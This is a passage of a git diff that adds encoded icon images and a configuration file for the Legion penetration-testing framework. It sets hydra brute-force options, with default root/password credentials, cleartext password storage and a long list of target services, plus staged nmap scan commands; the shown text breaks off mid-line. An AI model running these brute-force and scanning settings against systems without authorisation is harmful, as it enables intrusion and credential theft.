z9le~@b;1qjK$t2kCA8rl^JELD=duQFPDc-CzQpPCNwwo(Cgoy=v9r1 z5NRL2=#-C5HP>T3h%PhvLu}729ofY-^IPdb@TJpIUGf$skSOH6LdK#Q!>_W7m3kf( z8R6pNY;y!b^XI#ZqzRC`8eCb;P80k|=OWmXR!C>N8LuQVBmAZGLs2abzbws<9>6sV zc%WV4qYS&fZF7F26qoFz3h#S-b}6R)3b!xK zbrIY~D=e&YuUKQAtL)6kJhZ^I`-MDT_{NZx7}94hI`em5>xcS7mbnXH)002e^1^@s7^VeCT00009a7bBm000XU z000XU0RWnu7ytkYO=&|zP*7-ZbZ>KLZ*U+5Lu!Sk^o_Z5E4Meg@_7P6crJiNL9pw)e1;Xm069{HJUZAPk55R%$-RIA z6-eL&AQ0xu!e<4=008gy@A0LT~suv4>S3ILP<0Bm`DLLvaF4FK%)Nj?Pt*r}7;7Xa9z9H|HZjR63e zC`Tj$K)V27Re@400>HumpsYY5E(E}?0f1SyGDiY{y#)Yvj#!WnKwtoXnL;eg03bL5 z07D)V%>y7z1E4U{zu>7~aD})?0RX_umCct+(lZpemCzb@^6=o|A>zVpu|i=NDG+7} zl4`aK{0#b-!z=TL9Wt0BGO&T{GJWpjryhdijfaIQ&2!o}p04JRKYg3k&Tf zVxhe-O!X z{f;To;xw^bEES6JSc$k$B2CA6xl)ltA<32E66t?3@gJ7`36pmX0IY^jz)rRYwaaY4 ze(nJRiw;=Qb^t(r^DT@T3y}a2XEZW-_W%Hszxj_qD**t_m!#tW0KDiJT&R>6OvVTR z07RgHDzHHZ48atvzz&?j9lXF70$~P3Knx_nJP<+#`N z#-MZ2bTkiLfR>_b(HgWKJ%F~Nr_oF3b#wrIijHG|(J>BYjM-sajE6;FiC7vY#};Gd zST$CUHDeuEH+B^pz@B062qXfFfD`NpUW5?BY=V%GM_5c)L#QR}BeW8_2v-S%gfYS= zB9o|3v?Y2H`NVi)In3rTB8+ej^> zQ=~r95NVuDChL%G$=>7$vVg20myx%S50Foi`^m%Pw-h?Xh~i8Mq9jtJloCocWk2Nv zrJpiFnV_ms&8eQ$2&#xWpIS+6pmtC%Q-`S&GF4Q#^mhymh7E(qNMa}%YZ-ePrx>>xFPTiH1=E+A$W$=bG8>s^ zm=Bn5Rah$aDtr}@$`X}2l~$F0mFKEdRdZE8)p@E5RI61Ft6o-prbbn>P~)iy)E2AN zsU20jsWz_8Qg>31P|s0cqrPALg8E|(vWA65poU1JRAaZs8I2(p#xiB`SVGovRs-uS zYnV-9TeA7=Om+qP8+I>yOjAR1s%ETak!GFdam@h^# z)@rS0t$wXH+Irf)+G6c;?H29p+V6F6oj{!|o%K3xI`?%6x;DB|x`n#ibhIR?(H}Q3Gzd138Ei2)WAMz7W9Vy`X}HnwgyEn!VS)>mv$8&{hQn>w4zwy3R}t;BYlZQm5)6pty=DfLrs+A-|>>;~;Q z_F?uV_HFjh9n2gO9o9Q^JA86v({H5aB!kjoO6 zc9$1ZZKsN-Zl8L~mE{`ly3)1N^`o1+o7}D0ZPeY&J;i;i`%NyJ8_8Y6J?}yE@b_5a zam?eLr<8@mESk|3$_SkmS{wQ>%qC18))9_|&j{ZT zes8AvOzF(F2#DZEY>2oYX&IRp`F#{ADl)1r>QS^)ba8a|EY_^#S^HO&t^Rgqwv=MZThqqEWH8 zxJo>d=ABlR_Bh=;eM9Tw|Ih34~oTE|= zX_mAr*D$vzw@+p(E0Yc6dFE}(8oqt`+R{gE3x4zjX+Sb3_cYE^= zgB=w+-tUy`ytONMS8KgRef4hA?t0j zufM;t32jm~jUGrkaOInTZ`zyfns>EuS}G30LFK_G-==(f<51|K&cocp&EJ`SxAh3? zNO>#LI=^+SEu(FqJ)ynt=!~PC9bO$rzPJB=?=j6w@a-(u02P7 zaQ)#(uUl{HW%tYNS3ItC^iAtK(eKlL`f9+{bJzISE?u8_z3;~C8@FyI-5j_jy7l;W z_U#vU3hqqYU3!mrul&B+{ptt$59)uk{;_4iZQ%G|z+lhASr6|H35TBkl>gI*;nGLU zN7W-nBaM%pA0HbH8olyl&XeJ%vZoWz%6?Y=dFykl=imL}`%BMQ{Mhgd`HRoLu6e2R za__6DuR6yg#~-}Tc|Gx_{H@O0eebyMy5GmWADJlpK>kqk(fVV@r_fLLKIeS?{4e)} z^ZO;zpECde00d`2O+f$vv5tKEQIh}w03c&XQcVB=dL;k=fP(-4`Tqa_faw4Lbua(` z>RI+y?e7jKeZ#YO-C5SmFuK~#9!V*LOA|9=J|022d|0K39}|1gADkU76@Ut##V zeFFotxHtoctvdsolpI3xKN7g_toHx^|NsC0{QCL-hAa!R)PF{F&)k-0WME)oU{JmP zAG;eLIO#JmFfcH1S~+4U!m#>rjMx9apWpv~;9~Lr>&gB9?>U?Q|NG-RcB^p#00000 z|NkONArn~v{qw;s{EBYNF*5wRcpASi|NZ~}|KH!g|8J|J2>(an{d#==|7|sf|L?c1 z!c_G0$vuckzkd9`Da-%=|NsC0Z^-e&6)`a|Ffjak@_^xaWiG>gR|f{QNADT_efhw^ zs;td$*G!)HZ~_1T0RR8gl0Oc?02sx8RTg3}Vd|n$2Vk=34Gdht+6y$1*en)_J2--i zh=1wQM3hFtP^I-bL8TG~Z+&@rFYmq7t$+35X^?$KI_)~Kw*~Toy?@86`No%SS*c!yY^BB7j2#Dsou};GaO<$O(UV!Pd<5h zd7r%ZdHu`mAA`}c5t#L#ds7>iAbo5|K>G3-gYiV~U}{oAa{mb4Z3R%`u!=>(BbkX8;3hqaSV91VOCQ)N2rA8xr6UNfcOA;0>r#g{Tezq@9_ciBEa z4j*A^fKR&x>I+$#d)qYDmg(qMY;5L93SJL`#`+4alY{8@dzV|Hb#_QwErn&MWwJa! zL*d%g=O+2MvqcJzBN{}s?eYb=X zVIufZLSRA!E}|E!Llh&ND{YOUz5 zy1HNQbnq`wQj471bDJ3+W|%)J^RHF8N$j5`7U_J((Ebd}d;{}U;3~Ym67_` zL(<_O`$P$$%e5HWAw36&1B=+VI@Z>)*%yx$xZ+XVKOnQZSc%Z6%&JpLPfuycoh@r= zQG+?ibR+X98upZ}k7EE!U;7w2UV<%`Mk@{i5W3#L_{AznC5gOlC;X^|nOD#8QZn)~ohRywIcCz@z(&|L3Z#l8(_q5qQt=T2(2t7GlA?`BtSB!07NuCYy(VI2RR zwx_J!?8?fPu?*(6R*)Hy>Et2=5+dLS1ecgN5d-lO40sC$7fCcq2%^SF(3p^z7$T^N z!H7h;OgE4TOpU?lM%%R=YuUY(($pb|Nr2q_>IH9%6=-Iht>Y&ntSLj-~0<{d3{FxXm zRxsHx+U;N|!Dx4oO+)I!IieSur^b#2mR5^*F5;;v5)qO1>G~AzO1plaZ<0i}SJIJT zN%-2Y%2@oTNM$2ol5QU)!M1ff@s_VC*wBFH{RQg-YZ-5AL9M$TbMZ{Pvx>M}H;<8H zhbK2un)f$xmm}^HBpr`QV6jtDk+6j7SBMtwm&Mdc8G7SI@l+z-Y9#o~Ba<5` zttW_L1f|S@(PCx1qX(0%h|$&-)S?o`zWITI#j6-O@D7UlSF=+lccGiBTx8==v||sE zPYzJHZ8M2;P1qjWM(p%gY;;t$eE!;1@C37V? z)GNN)3K>1$EPc;y5RX%L(C$(sIWjc4=>wSg6}kId*Wkq_Ty#d_cMv^(Z<1*9Q3*X+FPZU}T-nkfT7O79H8zR0o|LYYb7c77d(wU1LP_<9BzC?<{Hy0l z3eCbBtiih-1nLU?q49WGp8ohsR^O_Uf3kjGsoqU zLm$>ce(5Md2KT?BR|MsG5^7j2T5mx7YnF+p(j?hbQZAL~he3SvD?|(V#a(I^5s`si z+r_u2LI(D|EZIa{+VhaucTE!i^~ZlNo{q*n^ln~{Ww~BGDrOafF^_ED005SSwZzVz zL@m9UOlKRa^A;2oFzKB=gT;bmG8k?8e_F+0;HC#RFuZp+$}|hJn!hDA6vltsT`<8u zo3I=05j0tSM&t z6HjBF?Zo8L&nqc~#aI{AqV6tc^wbf?KK-18=PYFh-vvd0{^s*3v(e zs-QAc9;s9*1Q17*rx>!?N1kjp+07=KP3}Ijd+$Bp{&Ba2IMV6V2^QSn%>Cn@nS1Y< z&$+*IzUOy-=ltJBijysvgq4Jqv?Qz~tR$=?tn1uNU*yNNt`0=bpG5T7K`5?^Py&94 zPzW#>Af;y_Wkdzc6Q{!RjcKrqz6nx#=9f#9MnC=tfh`*lK6C)k04WoI5%|pDTOuzA z3ZV4>Qb``N7q3FWkDi1vBm2gM6+M3v-bIfgZgc1fQbNzyrT~nIC@RB%h$rri07HOK z0VxYGr0UUEtrJj!K=#5%QS!nz7_)P4tUfESeLdXM?|{~(gA!rDbkpq^_Vx*s?K=br zGng|HLtn2#`Nd7PJ?EO>^(18tbDP@Ui*s@w87E!>GG~6oQ`l)9IRA!g#lzLJqR^ z;d@z|Yhm}{y(G!d@wa*D2Y0dQ&T(w`dL=K-o5jA?23`vrR9K3qiOth0>9FdFk)x@6b)^!!|EXu{cWzzJ+Emc9ahVRP`T*<4=g=`+ z2k#mM+Dj$2ZCrl+!-{-(l=b7xbe8FVmc7Klj+eJkXd2~xf2BRwNcYnDB+2Nx_vjpv z&DIr9Q&ZxMepF3Ify9Oxw^5P1skFDS<^D-@3 zqj1dz7|j+0wr@oARD5PsKIu2$_Xx*J`d;EUZSwQEl1$yvb>0|5c zdsv&D%HHbzq!9G4Tu56E7)tMFQD4bPY{xZ7CWxMH z#6GNs+UkXrWkSlt+rge7;umUQu;{DX5W3i57!Yacu>NTma;AOn##Hbz+c|ibKZU*z zPF)t71C+brQ-lpylxcvF0g;x9{MGAG@c5F?ok)LO#NZhXqvuE!zqJB?H8cf5>kp7+fkT>^fn9D|edFF;!cU3~|4MIdhkSrN6_Fey_kl!8 zo7(P1`0sBbR&#dXrr!Tf10hy>4sz9Qs9yIMr?a$BfUS>ym$o#pr)u}*a{1s}tjh%3 zem;+CM5a(xQfU1Ts`~!m$mwHrmSwYP<|HZsAC=ZdHhueM)=Hr3<`PD0PLU*i3m;@% zAt--P-9Nol6>8B4wRr4PmC`6Qm876h6^eL--jxe!%kHnE&@_rzpI)!T$s<}MOf?ds z_z&CKKbL}+GV)NkZX?WJ9R>f|l~BBHs9rZZez6#7w|xx-&#r^PWJKFfXQ3|3gwAbi z;h8rR_M%(__wIyc(%r~;c?8qa7#Hlo_hlB8I$11HzM%zHb4mY*DQh~$ApFnL*SY70OZ3}Fy`gK zRG0CJcHp=M|FkY zSj&cqR(=A|J^%YuLqWY^s@`B-zM1t?#<6SbCc5WLXRR6R*u0iPiP5|4G1g^E?0xsm zgonl1{>)E!5ujXMMaAc)YivFnr;K6D-N5!=ub{1@kpADVWBB+#=$>;YZTYE`kG(?* zF-Qtt)1Y`;0fPZ4SDgB!c6gx$14t} z+W*R)ZfF4?Ohv;WWn>NboZ8-kxW^4+UOvnt#{dRhh-%$k&_ca16<8rzEP7e66QU;w zV}TV?Mkc7n5qGyh%E&}YQ85?|A=c=Ckb7aWmLhdT#Z}_jN$HSW3QNLD!b-wQ!b;j_ b+rI_?NqPwHc5%``00000NkvXXu0mjfq+h7e literal 0 HcmV?d00001 diff --git a/images/vxworks-icon.png b/images/vxworks-icon.png new file mode 100644 index 0000000000000000000000000000000000000000..140984cdf100aa1cab107604c88dc17f4b48f43f GIT binary patch literal 4653 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 literal 0 HcmV?d00001 diff --git a/images/waiting.gif b/images/waiting.gif new file mode 100644 index 0000000000000000000000000000000000000000..d91b8e35077252c98669af17050bb3962d79b159 GIT binary patch literal 170 zcmZ?wbhEHbOkv<+IK%(~7N(s4kMN$lG2_(Tx&Oa!0*f)|fGCg}2Ig{(U3dN&obp`F zudJ=s`GTl~5XmUD?Sqw}lQCULKNq2h42)cWP)U2Jvx&%RBnttw2aK)M;Ft4Aubq`A3BS literal 0 HcmV?d00001 diff --git a/images/windows-icon.png b/images/windows-icon.png new file mode 100644 index 0000000000000000000000000000000000000000..f8124bfebfe8eef6264cb0b127f5370d72ff80d9 GIT binary patch literal 4298 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 literal 0 HcmV?d00001 diff --git a/legion.conf b/legion.conf new file mode 100644 index 00000000..371de252 --- /dev/null +++ b/legion.conf @@ -0,0 +1,112 @@ +[GeneralSettings] +default-terminal=gnome-terminal +tool-output-black-background=False +screenshooter-timeout=15000 +web-services="http,https,ssl,soap,http-proxy,http-alt,https-alt" +enable-scheduler=True +enable-scheduler-on-import=False +max-fast-processes=10 +max-slow-processes=10 + +[BruteSettings] +store-cleartext-passwords-on-exit=True +username-wordlist-path=/usr/share/wordlists/ +password-wordlist-path=/usr/share/wordlists/ +default-username=root +default-password=password +services="asterisk,afp,cisco,cisco-enable,cvs,firebird,ftp,ftps,http-head,http-get,https-head,https-get,http-get-form,http-post-form,https-get-form,https-post-form,http-proxy,http-proxy-urlenum,icq,imap,imaps,irc,ldap2,ldap2s,ldap3,ldap3s,ldap3-crammd5,ldap3-crammd5s,ldap3-digestmd5,ldap3-digestmd5s,mssql,mysql,ncp,nntp,oracle-listener,oracle-sid,pcanywhere,pcnfs,pop3,pop3s,postgres,rdp,rexec,rlogin,rsh,s7-300,sip,smb,smtp,smtps,smtp-enum,snmp,socks5,ssh,sshkey,svn,teamspeak,telnet,telnets,vmauthd,vnc,xmpp" +no-username-services="cisco,cisco-enable,oracle-listener,s7-300,snmp,vnc" +no-password-services="oracle-sid,rsh,smtp-enum" + +[StagedNmapSettings] +stage1-ports="T:80,443" +stage2-ports="T:25,135,137,139,445,1433,3306,5432,U:137,161,162,1434" +stage3-ports="T:23,21,22,110,111,2049,3389,8080,U:500,5060" +stage4-ports="T:0-20,24,26-79,81-109,112-134,136,138,140-442,444,446-1432,1434-2048,2050-3305,3307-3388,3390-5431,5433-8079,8081-29999" +stage5-ports=T:30000-65535 + +[ToolSettings] +nmap-path=/sbin/nmap +hydra-path=/usr/bin/hydra +cutycapt-path=/usr/bin/cutycapt +texteditor-path=/usr/bin/leafpad + +[HostActions] +nmap-fast-tcp=Run nmap (fast TCP), nmap -Pn -F -T4 -vvvv [IP] -oA \"[OUTPUT]\" +nmap-full-tcp=Run nmap (full TCP), nmap -Pn -sV -sC -O -p- -T4 -vvvvv [IP] -oA \"[OUTPUT]\" +nmap-fast-udp=Run nmap (fast UDP), "nmap -n -Pn -sU -F --min-rate=1000 -vvvvv [IP] -oA \"[OUTPUT]\"" +nmap-udp-1000=Run nmap (top 1000 quick UDP), "nmap -n -Pn -sU --min-rate=1000 -vvvvv 